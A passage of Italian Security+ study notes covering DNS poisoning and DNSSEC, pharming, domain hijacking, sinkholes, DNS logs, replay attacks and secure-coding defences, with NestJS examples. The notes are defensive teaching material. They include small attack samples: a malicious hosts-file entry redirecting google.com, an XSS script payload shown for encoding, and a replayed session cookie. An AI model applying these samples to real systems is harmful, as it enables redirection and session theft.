Attaccante participant R as Server Autoritativo Note over R: firma i record con la sua chiave privata U-\u003e\u003eD: \"qual è l'IP di google.com?\" D-\u003e\u003eR: query al server autoritativo A-\u003e\u003eD: risposta falsa: google.com = 1.2.3.4 (senza firma valida) R-\u003e\u003eD: risposta vera: google.com = 142.250.x.x + firma digitale Note over D: verifica firma risposta falsa → firma assente o non valida → SCARTATA Note over D: verifica firma risposta vera → firma valida → ACCETTATA D-\u003e\u003eU: 142.250.x.x (IP corretto) U-\u003e\u003eR: connette al sito reale Indicatore principale: l'utente digita l'URL corretto ma viene portato su un sito diverso.\nContromisura — DNSSEC (Domain Name System Security Extensions): Aggiunge firme crittografiche ai record DNS. Il server autoritativo firma i record con la sua chiave privata — il resolver verifica la firma con la chiave pubblica. Un attaccante non può creare risposte false con firma valida senza la chiave privata. DNSSEC non cifra il traffico DNS, lo autentica.\nCatena di fiducia DNSSEC — chi firma cosa e come il resolver verifica:\nIl resolver non ha le chiavi pubbliche di tutti i domini — ne ha solo una hardcoded: la chiave pubblica della root zone. Da lì segue una catena di firme verso il basso fino al record richiesto.\nflowchart TD TA[\"TRUST ANCHOR Chiave pubblica root (.) hardcoded nel resolver — non arriva dalla rete, è nel software stesso\"] ROOT[\"ROOT ZONE (.) Firma la chiave pubblica di .com con la sua chiave privata\"] COM[\".com Firma la chiave pubblica di google.com con la sua chiave privata\"] GOOGLE[\"google.com Firma i record DNS — A, MX, ecc. con la sua chiave privata\"] RECORD[\"Record: google.com = 142.250.x.x + firma digitale di google.com\"] VERIFY[\"RESOLVER — verifica bottom-up 1. ha la chiave pubblica root → verifica firma su chiave .com ✓ 2. ora ha chiave .com → verifica firma su chiave google.com ✓ 3. ora ha chiave google.com → verifica firma sul record ✓ Record accettato\"] TA --\u003e ROOT ROOT --\u003e|\"firma chiave pubblica\"| COM COM --\u003e|\"firma chiave pubblica\"| GOOGLE GOOGLE --\u003e|\"firma record\"| RECORD RECORD --\u003e VERIFY TA -.-\u003e|\"punto di partenza fisso\"| VERIFY style TA fill:#1a3a1a,stroke:#4aaf7e,color:#ffffff style VERIFY fill:#1a2a3a,stroke:#4a9eff,color:#ffffff style RECORD fill:#1a1a3a,stroke:#9b59b6,color:#ffffff style ROOT fill:#2a2000,stroke:#f0c040,color:#ffffff style COM fill:#2a2000,stroke:#f0c040,color:#ffffff style GOOGLE fill:#2a2000,stroke:#f0c040,color:#ffffff È lo stesso modello dei certificati TLS: ti fidi della root CA hardcoded nel browser, e lei garantisce per le CA intermedie, che garantiscono per i siti. La root è sempre il punto di partenza fisso — non arriva dalla rete e non può essere falsificata.\nVettore rete — risposta DNS falsa iniettata nella cache del resolver Causa DNS usa UDP senza autenticazione delle risposte — chi risponde prima vince Effetto voluto reindirizzare gli utenti verso siti malevoli sostituendo l'IP legittimo Difesa DNSSEC (Domain Name System Security Extensions) Indicatore l'utente digita un URL corretto ma viene portato su un sito diverso, IP restituito dal DNS non corrisponde all'IP legittimo verificabile via DNS autoritativo esterno, certificate warning sul sito di destinazione CIA Triad Confidentiality / Integrity — gli utenti vengono indirizzati a risorse false (I) e le loro credenziali possono essere rubate sul sito malevolo (C) Scope rete — tutti gli utenti che usano il resolver avvelenato, potenzialmente migliaia se è un DNS server pubblico o aziendale Pharming Attack # mindmap root((Pharming Attack)) What manipulates DNS locally hosts file modified priority over DNS vs DNS Poisoning Poisoning corrupts server affects many users Pharming corrupts client single machine only hosts file locations Windows System32 drivers etc Linux etc hosts macOS private etc hosts Defense EDR monitors hosts file file integrity monitoring Pharming (portmanteau di \u0026quot;phishing\u0026quot; + \u0026quot;farming\u0026quot;) — attacco che manipola il processo di risoluzione DNS a livello locale, sul sistema dell'utente. Come il DNS poisoning reindirizza verso siti malevoli, ma dove avviene è completamente diverso.\nDifferenza fondamentale — DNS poisoning vs Pharming:\nDNS Poisoning Pharming Dove colpisce cache del DNS server sistema locale dell'utente Chi viene colpito tutti gli utenti che usano quel server solo quella macchina Come inietta risposta falsa nel server modifica il file hosts Scope ampio — potenzialmente migliaia di utenti locale — singolo dispositivo DNS poisoning è come avvelenare il pozzo del villaggio. Pharming è come avvelenare il bicchiere di una singola persona.\nIl file hosts: Presente su tutti i sistemi operativi, ha priorità assoluta sul DNS — se contiene una entry per un hostname, il sistema la usa senza mai interrogare il DNS server.\nOS Percorso Windows C:\\Windows\\System32\\drivers\\etc\\hosts Linux /etc/hosts macOS /private/etc/hosts Esempio di entry malevola:\n127.0.0.1 localhost 13.207.21.200 google.com La seconda riga mappa google.com su un IP che appartiene a bing.com (o a un server malevolo). L'utente digita google.com nel browser — il sistema va all'IP nel file hosts senza chiedere al DNS. Se quell'IP punta a un server malevolo, può servire malware o una pagina di phishing identica al sito originale.\nIndicatore principale: l'utente digita un URL corretto ma viene portato su un sito diverso — identico al DNS poisoning dal punto di vista dell'utente, ma con causa diversa.\nVettore locale — file hosts del sistema operativo modificato da malware o accesso fisico Causa il file hosts ha priorità assoluta sul DNS senza alcuna verifica crittografica Effetto voluto reindirizzare silenziosamente verso siti malevoli senza toccare DNS pubblici Difesa protezione accesso al file hosts, monitoraggio integrità file di sistema, EDR Indicatore l'utente raggiunge un sito diverso da quello atteso pur digitando l'URL corretto, nslookup restituisce IP diverso da quello nel browser, modifica recente del file hosts rilevata dall'EDR o da audit di integrità CIA Triad Confidentiality / Integrity — l'utente viene ingannato verso risorse false (I) e le credenziali possono essere rubate sul sito malevolo (C) Scope singolo sistema — solo la macchina con il file hosts modificato; gli altri utenti della rete non sono colpiti URL Redirection # mindmap root((URL Redirection)) Legitimate Use site reorganization URL shortening Malicious Use attacker compromises site injects redirect all traffic to evil site Variants typosquatting goggle.com subdomain spoofing malicious URL shorteners Defense patch web vulnerabilities file integrity monitoring WAF blocks redirect to external Il redirect di URL è una tecnica legittima usata per:\nRiorganizzazione di un sito (vecchi URL che puntano alle nuove pagine) URL shortening (bit.ly, tinyurl) Reindirizzamento tra domini dello stesso proprietario Diventa un attacco quando un attaccante individua una vulnerabilità in un sito web, ottiene accesso ai file sottostanti e inietta un redirect che manda tutto il traffico verso un sito malevolo. Gli utenti che visitano il sito legittimo vengono silenziosamente reindirizzati senza saperlo.\nAltre tecniche di URL redirection malevola: typosquatting (goggle.com invece di google.com), subdomain spoofing (google.com.evil.com), URL shortener malevoli che nascondono la destinazione reale.\nIndicatore: tenti di andare su un sito e vieni reindirizzato su un altro.\nVettore web — compromissione dei file del sito o social engineering con link ingannevoli Causa vulnerabilità nel sito che permette di modificare i file di configurazione o il codice Effetto voluto reindirizzare il traffico legittimo verso un sito malevolo Difesa patch delle vulnerabilità web, monitoraggio integrità file, WAF (Web Application Firewall) Indicatore l'utente viene reindirizzato su un dominio diverso da quello visitato, header HTTP Location: con destinazione anomala nei log del web server, alert WAF su redirect verso URL esterni non autorizzati CIA Triad Confidentiality / Integrity — il traffico legittimo viene dirottato verso risorse malevole (I) dove possono essere rubati dati o credenziali (C) Scope web / organizzazione — tutti gli utenti che visitano il sito compromesso vengono colpiti finche' il redirect non viene rimosso Domain Hijacking # mindmap root((Domain Hijacking)) Attack Chain compromise email account password reset registrar change nameservers vs DNS Poisoning Hijacking steals domain itself official records changed Poisoning corrupts cache domain still yours Homer Simpson Example weak email password Doh Doh account compromised Defense MFA on registrar AND email registry lock out-of-band verification Hijacking = dirottamento — non si compromette il DNS server, si ruba il dominio stesso.\nGibson usa l'esempio di Homer Simpson: la password del suo account Gmail è \u0026quot;Doh!Doh!\u0026quot; — semplice, breve, indovinabile. L'attaccante ottiene accesso alla sua email, poi usa la funzione \u0026quot;password dimenticata\u0026quot; del registrar per ricevere il link di reset. A quel punto è dentro l'account del registrar e può modificare i nameserver del dominio di Homer, puntandoli verso server controllati dall'attaccante. Homer non sa nulla — non ha ricevuto nessun alert, non ha visto nulla di strano. Da quel momento tutto il traffico verso il suo dominio va all'attaccante.\nIl vettore critico è l'account email, non il registrar direttamente. La catena è: email compromessa → password reset registrar → cambio nameserver. Questo è il motivo per cui \u0026quot;MFA sull'account email\u0026quot; è difesa tanto importante quanto \u0026quot;MFA sull'account registrar\u0026quot;.\nRegistry lock è una funzione offerta da alcuni registrar che richiede una procedura out-of-band (telefono, fax, verifica fisica) prima di permettere qualsiasi modifica ai nameserver — rende impossibile il cambio automatico anche se l'account è compromesso.\nLa differenza chiave con DNS poisoning:\nDNS poisoning: il dominio è ancora tuo, ma qualcuno ha avvelenato la cache di un resolver Domain hijacking: il dominio non è più tuo — i record ufficiali puntano a server dell'attaccante Vettore account registrar compromesso (phishing, credential stuffing) Causa chi controlla l'account registrar controlla i nameserver del dominio Effetto voluto reindirizzare tutto il traffico del dominio verso server controllati dall'attaccante Difesa MFA sull'account registrar, registry lock, monitoraggio nameserver Indicatore cambio improvviso dei nameserver del dominio nei record WHOIS, alert di monitoraggio DNS su modifica record NS, traffico verso il dominio che risponde con certificati non emessi per quel dominio CIA Triad Confidentiality / Integrity / Availability — il dominio dirottato espone tutti gli utenti a phishing (C), serve contenuti falsi (I) e il servizio legittimo diventa irraggiungibile (A) Scope organizzazione / internet — tutto il traffico globale verso il dominio colpito, inclusi siti, email, API e servizi cloud che dipendono da quel dominio DNS Filtering # mindmap root((DNS Filtering)) What blocklist of malicious domains not URLs full paths domain level only Response NXDOMAIN domain does not exist Wrong IP deliberate misdirect Scope all clients using resolver enterprise DNS server Cisco Umbrella Limit blocks domain not IP attacker uses IP direct DoH bypasses local resolver Gli amministratori usano il DNS filtering per controllare quali siti gli utenti possono raggiungere. Il meccanismo è una blocklist di domain name malevoli noti — non URL completi (il DNS non vede /path?query=..., vede solo evil-site.com). Quando un client chiede l'IP di un dominio in blocklist, il server DNS risponde con NXDOMAIN (dominio non esistente) oppure con un IP errato deliberatamente.\nImportante: non è una lista di URL, è una lista di domini. Un dominio bloccato blocca tutto ciò che ci gira sotto — sito, API, sottodomini.\nDNS Sinkhole # mindmap root((DNS Sinkhole)) What returns controlled IP not NXDOMAIN traffic arrives at sinkhole Blue Team Use identify infected hosts who queries C2 domain log malware behavior disarm botnet Real Case authorities reverse-engineer C2 domain hardcoded redirect to sinkhole Tools Cisco Umbrella Cloudflare Gateway enterprise DNS Un DNS sinkhole è un DNS server che applica il filtering restituendo risposte errate per determinati domini. \u0026quot;Sinkhole\u0026quot; = buco del lavandino — il traffico scorre verso il buco e non arriva a destinazione.\nLa differenza rispetto al semplice blocco: il sinkhole non risponde con NXDOMAIN, risponde con un IP controllato — l'IP del sinkhole stesso. Il traffico arriva da qualche parte, e quella parte sei tu (il defender o le autorità). Questo permette di:\nosservare quali macchine si connettono (chi è infetto?) loggare il comportamento dei malware disarmare una botnet senza toccare i computer infetti Il caso classico descritto da Gibson: le autorità reverse-engineerano un malware, trovano i domain name dei C2 (command-and-control servers) hardcodati nel codice, coordinano con i DNS owner per redirigere quei domini verso un sinkhole controllato. I computer infetti continuano a \u0026quot;chiamare casa\u0026quot; — ma parlano con le autorità invece che con l'attaccante. La botnet è neutralizzata senza che nessun computer infetto sia stato toccato.\nflowchart LR A[🖥️ Computer infetto] --\u003e|\"Query: evil-c2.com\"| B[DNS Server] B --\u003e|\"Record sinkhole attivo\"| C{Sinkhole IP?} C --\u003e|Normale| D[❌ C2 server attaccante] C --\u003e|Sinkhole attivo| E[🏛️ Sinkhole autorità] E --\u003e|Log + osservazione| F[🔍 Chi è infetto?] style D fill:#5c1a1a,color:#ffffff style E fill:#1a3a1a,color:#ffffff style F fill:#1a2a3a,color:#ffffff Usato da: Cisco Umbrella, Cloudflare Gateway, firewall aziendali con DNS filtering integrato.\nVettore tecnica difensiva — applicata dal DNS server locale o da un resolver controllato dall'organizzazione Causa il DNS server risponde alle query prima che il client possa raggiungere il dominio malevolo Effetto voluto impedire l'accesso a domini C2, phishing, malware — e nel caso del sinkhole: identificare macchine infette loggando chi si connette Difesa (dal punto di vista dell'attaccante) uso di IP diretti invece di domain name, DNS over HTTPS (DoH) per bypassare il resolver locale, hard-coding di IP nel malware Indicatore (Blue Team) query DNS verso domini in blocklist — ogni hit è una macchina che ha tentato di raggiungere un sito malevolo CIA Triad Availability (difesa) — previene che il traffico malevolo raggiunga destinazione; Confidentiality — il sinkhole rivela quali host sono compromessi Scope rete interna — tutti i client che usano il DNS server controllato dall'organizzazione DNS Log Files # mindmap root((DNS Log Files)) What is Logged src IP who asked hostname queried IP returned Blue Team Uses C2 detection malware calls home via domain DNS Tunneling long random subdomains Exfiltration data encoded in subdomains Newly registered domains registered yesterday queried today Key Correlation src IP equals infected machine query at 3am C2 domain found I log DNS registrano ogni query di risoluzione: quale sistema ha fatto la richiesta, quale hostname ha chiesto, quale IP è stato restituito. Una riga per ogni lookup.\nGibson fa l'esempio di Bart che passa qualche ora a navigare dal suo computer aziendale. Uno dei siti visitati ha scaricato malware sul suo sistema, ma Bart non sa quale e non ricorda tutti i siti visitati. Cercando nei log DNS, gli amministratori possono ricostruire tutti i siti che ha visitato — ogni sito implica almeno una query DNS. L'elenco completo è lì, con timestamp.\nDal punto di vista Blue Team i log DNS sono una fonte di intelligence primaria:\nConnessioni a C2: malware che chiama casa usa quasi sempre un domain name — appare nei log DNS tunneling: query anormalmente frequenti o sottodomini molto lunghi e casuali sono segnali Exfiltration via DNS: dati codificati nei sottodomini delle query Newly registered domains: dominio registrato ieri che oggi viene interrogato da 50 macchine interne — segnale di campagna malware fresca La correlazione chiave: IP sorgente della query = macchina che ha fatto la richiesta. Se un IP interno interroga evil-c2.ru alle 3:17 di mattina, sai esattamente quale macchina è infetta.\nVettore tecnica investigativa/difensiva — analisi passiva delle query DNS esistenti Causa ogni connessione a un sito genera una query DNS loggabile Effetto voluto identificare macchine infette, ricostruire la navigazione, rilevare C2 e tunneling Difesa (dal punto di vista dell'attaccante) DNS over HTTPS (DoH) cifra le query e bypassa i log locali; hard-coding di IP nel malware evita il DNS completamente Indicatore query verso domini C2 noti, sottodomini casuali e lunghi (tunneling), domini appena registrati, query DNS di notte da macchine che di solito sono idle CIA Triad Confidentiality — i log rivelano il comportamento degli utenti e delle macchine; usati difensivamente per proteggere l'organizzazione Scope rete interna — tutte le macchine che usano il DNS server locale Replay Attacks # mindmap root((Replay Attacks)) What capture session data not decrypt it resend as-is Credential Replay session cookie or token abc123def456 server validates token not content Kerberos TGT captured and replayed Why It Works no contextual expiry valid token accepted anywhere Countermeasures Timestamps reject stale messages Sequence Numbers reject already-seen packet MFA OTP second factor changes each time Un replay attack avviene quando un attaccante cattura dati di una sessione di comunicazione e li rimanda come se fosse uno dei partecipanti originali. Non deve capire i dati, non deve decifrarli — gli basta rimandarli.\nPerché si chiama \u0026quot;replay\u0026quot;? Dal mondo audio/video: replay = riproduzione di qualcosa già accaduto. Come premere ▶ su un registratore — riproduci esattamente lo stesso nastro. In football americano si chiama \u0026quot;instant replay\u0026quot; la moviola che rimanda l'azione identica. In security: l'attaccante ha registrato il pacchetto di autenticazione originale e lo \u0026quot;rimanda\u0026quot; al server come se lo stesse mandando lui adesso. Non è un attacco nuovo — è la stessa comunicazione, ritrasmessa.\nL'esempio classico di Gibson: Maggie e Bart avviano una sessione e si autenticano a vicenda. Harry intercetta tutto il traffico, incluse le credenziali. Più tardi Harry apre una nuova conversazione con Maggie spacciandosi per Bart. Quando Maggie sfida Harry con una challenge, il suo sistema risponde con le credenziali di Bart — credenziali reali, rubate dalla sessione originale. Maggie non sa la differenza.\nQuesto specifico scenario si chiama credential replay — le credenziali catturate vengono riutilizzate per autenticarsi come un altro utente.\nAttenzione: non viene rimandata username e password in chiaro — viene rimandato il pacchetto.\nQuesto è il punto che inganna. Non si tratta di rubare username=franco\u0026amp;password=Meow1234 — quella roba viaggia cifrata dentro TLS e non è leggibile. Quello che viene catturato e riusato è il pacchetto cifrato così com'è — ad esempio un session cookie o un token di autenticazione valido:\nCookie: session=abc123def456 ← catturato dal Cane, rimandato identico Il server non decifra il pacchetto per \u0026quot;vedere\u0026quot; le credenziali dentro — verifica solo che il token sia valido. Se lo è, autentica chiunque lo presenti. Il Cane non sa cosa c'è dentro il pacchetto, non gli serve: è come copiare una chiave fisica senza sapere come funziona la serratura.\nEsempio con Kerberos: l'attaccante cattura un TGT (Ticket Granting Ticket) — un blob cifrato con firma, timestamp e identità dell'utente. Non lo decifra. Lo rimanda al Key Distribution Center tale e quale. Senza timestamp di scadenza, il KDC verifica solo la firma — è valida → accesso concesso.\nI replay attack funzionano su reti sia wired che wireless.\nContromisure:\nTimestamp: ogni messaggio include l'ora in cui è stato generato. Se il server riceve un messaggio con timestamp vecchio di più di X secondi, lo rifiuta. Harry non può reiniettare le credenziali di ieri perché il server le considererebbe scadute. Sequence numbers: ogni pacchetto ha un numero progressivo. Il server accetta solo il numero successivo a quello già ricevuto — un pacchetto già visto ha un numero \u0026quot;già usato\u0026quot; e viene scartato. MFA (Multi-Factor Authentication): anche se Harry cattura le credenziali statiche, il secondo fattore (OTP, TOFU, push notification) cambia ad ogni sessione — non può essere riutilizzato. Kerberos è l'esempio principale usato da Gibson: usa ticket con timestamp che scadono — un ticket vecchio viene rifiutato automaticamente anche se è autentico.\nNote Exam tip: replay attacks catturano dati di sessione per impersonare uno dei partecipanti. Le contromisure sono timestamp, sequence numbers e MFA.\nWarning Il replay attack è sempre e solo ritrasmissione di un pacchetto già visto.\nVettore rete — intercettazione passiva del traffico (sniffing), poi reiniezione attiva Causa le credenziali o i token di sessione non hanno scadenza contestuale — possono essere riusati fuori dal loro contesto originale Effetto voluto impersonare un utente legittimo riusando le sue credenziali catturate, bypassare l'autenticazione Difesa timestamp con finestre temporali strette, sequence numbers, nonce (number used once), MFA con OTP, Kerberos Indicatore stesso token o credential usato da due IP diversi in breve tempo, autenticazioni duplicate con identico payload, anomalie nei sequence numbers CIA Triad Confidentiality / Integrity — l'attaccante si autentica come utente legittimo e può leggere o modificare dati riservati Scope sessione specifica — colpisce la comunicazione tra due sistemi; se le credenziali sono riusabili su altri sistemi, lo scope si allarga Secure Coding Concepts # mindmap root((Secure Coding Concepts)) Input Validation Client-side bypassable Burp Suite UX improvement only Server-side cannot be bypassed primary defense Techniques allowlist blocklist prepared statements HTML encoding Race Conditions TOCTOU check use gap symlink attack Fix atomic transactions pessimistic lock Error Handling Generic to user Detailed in logs No debug in prod Code Quality Code Signing digital signature cert SmartScreen Gatekeeper Static SAST no execution needed Dynamic Fuzzing random input crashes Stress Testing load limits behavior Sandboxing isolated environment Secure Architecture HTTP Headers HSTS CSP X-Frame Secure Cookies Secure HttpOnly SameSite Dev Environment dev test staging prod QA Database and Web SQL Injection or 1 equals 1 stored procedures XSS Reflected Stored DOM Directory Traversal basename defense Memory and Injection Buffer Overflow DoS privilege escalation DLL Injection LD PRELOAD Heartbleed CVE-2014-0160 Memory Leak unclaimed malloc Le applicazioni sono spesso il vettore d'ingresso per gli attaccanti — se sviluppate senza secure coding concepts, diventano porte aperte. Questa sezione copre le tecniche che i developer usano per creare applicazioni sicure. Importante per Security+: non serve saper scrivere il codice, serve capire i concetti e riconoscere le vulnerabilità.\nInput Validation # mindmap root((Input Validation)) Purpose check data before use sanitize removes malicious reject shows error Attacks Prevented Buffer Overflow SQL Injection DLL Injection XSS Checks allowed characters only block HTML tags block special chars boundary range check Input validation = controllare i dati in ingresso prima di usarli. L'obiettivo è impedire che un attaccante invii codice malevolo che l'applicazione eseguirà. Si fa in due modi: sanitizing (rimuove il codice malevolo dall'input) o rejecting (rifiuta l'input non valido e mostra un errore).\nLa mancanza di input validation è una delle vulnerabilità più comuni nelle web application — permette buffer overflow, SQL injection, DLL injection, XSS. Tutti attacchi che vedremo dopo.\nEsempio concreto: un campo \u0026quot;nome\u0026quot; su un form. Un nome valido ha solo lettere, max 25 caratteri. Se l'utente inserisce numeri, punto e virgola, o codice HTML — fallisce la validity check, l'applicazione rifiuta l'input e mostra un errore. Non crasha, non esegue il codice malevolo.\nCheck comuni di input validation:\nCheck Cosa fa Attacco che previene Verifica caratteri permessi solo lettere, solo numeri, solo formato specifico (###-###-####) injection, XSS Blocca HTML code rileva \u0026lt; e \u0026gt; e non li usa Cross-Site Scripting (XSS) Blocca caratteri speciali blocca -, ', = e simili SQL injection Boundary / range checking verifica che i valori siano nell'intervallo atteso (quantità max 3) overflow, logica business In NestJS — questa è esattamente la ValidationPipe con class-validator:\nimport { IsString, MaxLength, IsAlpha } from \u0026#39;class-validator\u0026#39;; export class CreateUserDto { @IsString() @IsAlpha() // solo lettere — blocca HTML e injection @MaxLength(25) // boundary check firstName: string; } // main.ts app.useGlobalPipes(new ValidationPipe({ whitelist: true })); whitelist: true rimuove automaticamente tutti i campi non dichiarati nel DTO — è input sanitization: anche se l'attaccante manda campi extra o payload malevoli nel body, non raggiungono mai il service layer.\nClient-Side and Server-Side Input Validation # mindmap root((Client vs Server Validation)) Client-Side runs in browser before data sent Bypassable disable JS Burp Suite intercept Purpose UX only Server-Side runs on server after data arrives Cannot bypass primary security layer Best Practice use both UX from client-side security from server-side La validazione può avvenire lato client (browser, prima che i dati vengano inviati) o lato server (dopo che i dati arrivano). Molte applicazioni usano entrambe — per motivi diversi.\nClient-side validation — il codice di validazione è incluso nella pagina HTML inviata al browser. Se Homer inserisce quantità 4 quando il massimo è 3, il codice HTML gli mostra un errore senza nemmeno contattare il server — nessun round-trip.\nVeloce, migliora la UX Non è sicurezza — bypassabile in due modi: Disabilitare JavaScript nel browser → la validazione non gira Usare un web proxy (es. Burp Suite) per catturare l'HTTP POST e modificare i dati dopo che il browser li ha validati, prima che arrivino al server Server-side validation — i dati arrivano al server e vengono controllati lì, indipendentemente da cosa ha fatto il client. L'attaccante non può bypassarla — il server controlla sempre.\nUsarle entrambe dà velocità + sicurezza: la client-side riduce i round-trip inutili, la server-side è il controllo finale prima che i dati vengano usati.\nNote Exam tip: la mancanza di input validation è uno dei problemi di sicurezza più comuni nelle web app. Server-side validation è più sicura di client-side. Input validation protegge da buffer overflow, SQL injection, DLL injection e XSS.\nDal punto di vista dev: in NestJS la ValidationPipe è server-side per definizione — gira sul server Node.js dopo che il payload HTTP è arrivato. La validazione HTML5 nel browser (required, maxlength, pattern) è client-side e non basta da sola. Burp Suite intercetta la POST dopo la validazione del browser e prima che arrivi al server — esattamente il gap che Gibson descrive.\nOther Input Validation Techniques # mindmap root((Validation Techniques)) HTML Encoding escape special chars lt gt to entities script becomes text Allowlist defines what is permitted everything else rejected safer than blocklist Blocklist defines what is forbidden bypassable with encoding Prepared Statements SQL template with placeholders params always treated as data primary SQLi defense Libraries OWASP ESAPI multi-language toolkit dompurify sanitize-html Le tecniche aggiuntive di input validation si concentrano sul sanitizzare HTML e URL prima di inviarli al browser — il processo si chiama HTML escaping o HTML encoding.\nL'idea è semplice: se un attaccante riesce a iniettare \u0026lt;script\u0026gt; in un campo, il browser lo eseguirà come codice. Se invece si codifica il carattere \u0026gt; con il suo equivalente ASCII \u0026amp;gt;, il browser lo renderizza come testo letterale — non lo esegue. Il codice iniettato diventa inoffensivo.\nInput malevolo: \u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;)\u0026lt;/script\u0026gt; Dopo encoding: \u0026amp;lt;script\u0026amp;gt;alert(\u0026#39;XSS\u0026#39;)\u0026amp;lt;/script\u0026amp;gt; Browser mostra: \u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;)\u0026lt;/script\u0026gt; ← testo, non codice Seguire linee guida specifiche su dove e come inserire dati untrusted nelle pagine web previene XSS, SQL injection e directory traversal.\nOWASP ESAPI (Enterprise Security API) — libreria open source gratuita disponibile per molti linguaggi di programmazione. Include un set completo di tool per la sicurezza, tra cui funzioni di input validation e output encoding già pronte. Non serve implementare da zero — si usa la libreria.\nAltre tecniche:\nAllowlisting (whitelist): definisce esplicitamente cosa è permesso — tutto il resto è rifiutato. Più sicuro della blocklist perché non devi prevedere ogni variante di attacco. Blocklisting (blacklist): definisce cosa è vietato — tutto il resto passa. Meno sicuro: gli attaccanti aggirano le liste con encoding, maiuscole, caratteri Unicode equivalenti. Parametrized queries / prepared statements: non si costruisce la query SQL concatenando stringhe — si usa un template con placeholder. Il database tratta i parametri sempre come dati, mai come codice SQL. Difesa primaria contro SQL injection. Dal punto di vista dev: in PHP hai htmlspecialchars() per l'HTML encoding. In Node/NestJS usi librerie come dompurify o sanitize-html per sanitizzare HTML in input. L'ORM (TypeORM, Prisma) gestisce automaticamente i prepared statements — è uno dei motivi per cui usare un ORM invece di query raw è una scelta di sicurezza oltre che di comodità.\nRegola mnemo: validate input, encode output.\nAvoiding Race Conditions # mindmap root((Race Conditions)) What two processes same resource result depends on who wins seat 14A example both book same seat TOCTOU Time of Check to Time of Use gap between check and use Attacker acts in gap symlink swap data changes after verify Fix atomic transactions lock acquired at check pessimistic lock no other access until done Contexts Database check then withdraw Filesystem check then open API check then confirm order Una race condition si verifica quando due o più processi tentano di accedere alla stessa risorsa contemporaneamente e il risultato dipende da chi arriva prima — generando un conflitto imprevedibile.\nL'esempio di Gibson: stai comprando un biglietto aereo e selezioni il posto 14A. Nello stesso istante un'altra persona seleziona lo stesso posto. Entrambi completate l'acquisto simultaneamente — entrambi avete un biglietto con lo stesso numero di posto. Arrivi dopo, l'altro passeggero non si sposta, e finisci seduto tra due persone di grossa corporatura a dieta di cavolo. Non felicissimo.\nLa maggior parte dei database ha meccanismi di concurrency control integrati. Il problema emerge quando i developer web inesperti non li usano.\nTOCTOU — Time of Check to Time of Use # mindmap root((TOCTOU)) Name Time of Check to Time of Use state attack TOE Target of Evaluation The Gap CHECK resource OK window open USE resource changed attacker acted in window Attack Examples filesystem symlink swap check file A attacker replaces with B seat booking check available another books same seat Fix lock at check time freeze closes window atomic operation check and use inseparable TOCTOU (pronuncia: \u0026quot;tock-too\u0026quot;) è il nome della vulnerabilità specifica nelle race condition. È anche chiamato state attack. Il sistema colpito si chiama TOE (Target of Evaluation).\nIl problema fondamentale: check e use sono due operazioni separate nel tempo. Tra di esse esiste una finestra — piccola ma reale — in cui la risorsa può cambiare.\n[TIME OF CHECK] Sistema verifica → risorsa OK, accesso consentito ↓ FINESTRA ← l\u0026#39;attaccante agisce qui ↓ [TIME OF USE] Sistema usa → ma la risorsa non è più quella verificata TOCTOU non è il freeze del posto — è l'assenza del freeze. Il freeze è la difesa.\nSENZA protezione (TOCTOU vulnerabile): CHECK → posto 14A libero? SÌ [nessun lock — finestra aperta] Charlie prenota 14A nello stesso istante USE → conferma a Franco: \u0026#34;posto 14A prenotato\u0026#34; Risultato: due persone con lo stesso posto CON protezione (TOCTOU risolto): CHECK → posto 14A libero? SÌ [FREEZE immediato — lock acquisito] Charlie tenta → \u0026#34;non disponibile\u0026#34; USE → conferma a Franco: \u0026#34;posto 14A prenotato\u0026#34; Risultato: un solo proprietario Esempio filesystem (Gibson): Homer vuole aprire un file. Il sistema operativo verifica i permessi — accesso consentito. Se l'attaccante usa un symlink per sostituire il file originale con uno malevolo nella finestra tra check e use, il sistema esegue il file sbagliato pur avendo validato quello giusto.\nTOCTOU non è solo un problema di database — è un problema di atomicità ovunque ci sia una sequenza check→use non protetta:\nContesto Esempio Soluzione Database controlla saldo → preleva transaction + lock Filesystem controlla permessi → apre file file lock, no symlink su path critici (esempio vim .swp) API REST controlla disponibilità → conferma ordine idempotency key + lock distribuito Memoria condivisa legge valore → scrive nuovo valore mutex / semaforo In NestJS/TypeORM la soluzione è la transaction con pessimistic lock — check e use diventano un'operazione atomica indivisibile:\nawait dataSource.transaction(async (manager) =\u0026gt; { const seat = await manager.findOne(Seat, { where: { id: seatId }, lock: { mode: \u0026#39;pessimistic_write\u0026#39; } // nessun altro può leggere/scrivere }); if (seat.available) { seat.available = false; await manager.save(seat); } }); Vettore applicazione — finestra temporale tra il check dei permessi e l'uso della risorsa Causa assenza di atomicità tra time of check e time of use — la risorsa può essere modificata nel mezzo Effetto voluto sostituire un file legittimo con uno malevolo, accedere a risorse non autorizzate, corrompere dati Difesa transazioni atomiche, locking (pessimistic/optimistic), double-check al time of use, evitare symlink su path critici Indicatore accesso a file con timing anomalo, symlink che puntano a destinazioni inattese, modifiche a file nel mezzo di una transazione CIA Triad Integrity — la risorsa usata non è quella verificata; Confidentiality se la risorsa è un file riservato Scope applicazione / sistema operativo — colpisce il processo che esegue il check, non la rete Proper Error Handling # mindmap root((Error Handling)) Rule Generic to user no internal details Detailed in logs full stack trace Why It Matters unhandled error exposes DB type and version internal paths stack trace attacker maps system Dev Parallel APP DEBUG true in prod Laravel Symfony leak Global exception filter catch all log all show little Le routine di error handling e exception handling garantiscono che un'applicazione gestisca gli errori in modo controllato. Quando un'applicazione non cattura un errore, può crashare — nel caso peggiore trascina giù anche il sistema operativo. Un error handling efficace protegge l'integrità dell'OS sottostante.\nIl problema di sicurezza: quando un'applicazione non cattura un errore, spesso espone informazioni di debug all'utente. Quelle informazioni le puoi usare tu per capire il sistema — tipo di database, versione del framework, stack trace completo, path interni. Se invece l'applicazione cattura l'errore, controlla esattamente cosa mostra.\nLa regola è semplice e ha due parti:\nChi riceve Cosa riceve Perché Utente errore generico non fornire informazioni sfruttabili dall'attaccante Log informazioni dettagliate permettere ai developer di diagnosticare e risolvere Esempio concreto: l'applicazione non riesce a connettersi al database.\nErrore sbagliato all'utente: SQLSTATE[HY000] [2002] Connection refused to MySQL 8.0.32 on db.internal:3306 — l'attaccante sa che usi MySQL, la versione, l'host interno e la porta Errore corretto all'utente: Si è verificato un errore. Riprova più tardi. Nel log: tutto il dettaglio tecnico, per il developer Dal punto di vista dev: hai sicuramente visto stack trace PHP completi esposti in produzione, o pagine di errore Laravel/Symfony con variabili d'ambiente visibili. Quello è esattamente il problema che Gibson descrive — APP_DEBUG=true in produzione è una vulnerabilità di information disclosure.\nIn NestJS il pattern corretto:\n// Filtro globale — cattura 